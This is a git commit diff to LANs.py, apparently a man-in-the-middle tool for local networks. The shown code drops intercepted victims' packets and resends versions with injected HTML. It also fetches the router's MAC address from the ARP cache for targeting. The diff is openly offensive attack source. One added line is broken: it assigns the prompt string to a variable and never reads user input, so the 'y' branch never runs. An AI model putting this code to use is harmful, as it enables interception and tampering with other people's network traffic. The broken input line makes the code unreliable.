fixed arp caching bug and went back to a more reliable code injection technique

This commit is contained in:
DanMcInerney 2014-01-04 09:45:41 -05:00
parent 89005f41b8
commit 0c475c7314

28
LANs.py
View file

@ -323,7 +323,9 @@ class Parser():
del pkt[IP].chksum del pkt[IP].chksum
del pkt[TCP].chksum del pkt[TCP].chksum
try: try:
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) payload.set_verdict(nfqueue.NF_DROP)
send(pkt)
# payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
print R+'[!] Injected HTML into packet for '+W+self.html_url print R+'[!] Injected HTML into packet for '+W+self.html_url
logger.write('[!] Injected HTML into packet for '+self.html_url) logger.write('[!] Injected HTML into packet for '+self.html_url)
self.block_acks.append(ack) self.block_acks.append(ack)
@ -1036,16 +1038,20 @@ def main(args):
print "[*] Router MAC: " + routerMAC print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n') logger.write("[*] Router MAC: "+routerMAC+'\n')
except Exception: except Exception:
try: ac = raw_input = "[-] Router did not respond to ARP request for MAC, attempt to pull the MAC from the ARP cache? [y/n] "
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache" if ac == 'y':
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN) try:
split_lines = arpcache.communicate()[0].splitlines() print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
arpoutput = split_lines[1].split() arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
routerMAC = arpoutput[2] split_lines = arpcache.communicate()[0].splitlines()
print "[*] Router MAC: " + routerMAC arpoutput = split_lines[1].split()
logger.write("[*] Router MAC: "+routerMAC+'\n') routerMAC = arpoutput[2]
except Exception: print "[*] Router MAC: " + routerMAC
exit("[-] [arp -n] failed to give accurate router MAC address") logger.write("[*] Router MAC: "+routerMAC+'\n')
except Exception:
exit("[-] [arp -n] failed to give accurate router MAC address")
else:
sys.exit("[-] Could not get router MAC address")
if args.victimmac: if args.victimmac:
victimMAC = args.victimmac victimMAC = args.victimmac